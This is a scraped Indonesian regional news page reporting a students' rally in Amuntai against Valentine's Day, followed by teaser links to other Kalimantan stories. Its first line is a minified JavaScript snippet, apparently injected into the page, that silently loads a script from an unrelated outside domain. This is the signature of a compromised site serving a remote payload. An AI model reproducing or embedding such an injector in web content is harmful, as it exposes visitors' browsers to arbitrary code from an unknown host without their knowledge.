(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Puluhan mahasiswa dari Integrasi Studi Islam (ISI) Sekolah Tinggi Ilmu Administrasi (STIA) Amuntai menggelar aksi simpatik menolak peringatan Valentine Day, Senin (12/2). Aksi simpatik menolak peringatan Valentine Day berlangsung di kawasan bundaran Kota Amuntai.
Mahasiswa STIA Amuntai mencoba menangkal budaya barat perayaan Hari Valentine 14 Februari. Tanggal 14 Februari biasanya mendapatkan sambutan hangat terutama dari kalangan remaja untuk bertukar bingkisan, semarak warna pink, ucapan rasa kasih sayang, serta ungkapan cinta dengan berbagai ekspresi yang terkadang berdampak negatif bagi generasi muda. Apalagi budaya itu sangat bertentangan dengan ajaran Islam, sehingga perlu dilakukan himbauan untuk anti kebudayaan barat yang bersifat negatif.
Koordinator Aksi Ahmad Fauzi menuturkan, perayaan Valentine Day bukanlah berasal dari ajaran Islam, sehingga umat Islam terutama anak-anak muda diharapkan tidak ikut-ikutan merayakan.
“Generasi muda khususnya diharapkan tidak terpengaruh dengan perayaan Valentine Day. Warga HSU agar memperkuat iman dan taqwa dengan cara memperdalam kajian agama Islam, serta mengetahui apa itu sebenarnya Valentine Day,†kata Fauzi.
Ia menambahkan, ungkapkan kasih sayang semestinya tidak dilakukan dimomen tertentu seperti Valentine Day, karena Islam mengajarkan untuk mengungkapkan kasih sayang setiap hari, terutama kepada orang terdekat seperti keluarga.
“Kepada masyarakat agar tidak lagi mengikuti perayaan tersebut karena sangat bertentangan dengan ajaran agama Islam,†lanjut Fauzi.
Dua remaja kota Amuntai, Mariyatul kibtiyah dan Ridhayani mengaku menyambut baik adanya aksi ini, karena dapat menyadarkan bagi yang belum tahu tentang Valentine Day. Mereka juga mengharapkan agar generasi muda tidak latah mengikuti trend yang bertentangan dengan ajaran Islam.
Aksi yang digelar sekitar jam 2 siang ini, disamping diisi dengan orasi, para mahasiswa juga membagi-bagikan pamphlet, berisi hal negatif peringati Valentine Day kepada sejumlah penggendara pelintas. (dewahyudi)
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More
KANALKALIMANTAN.COM, BANJARBARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT ke-129 BRI, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
This website uses cookies.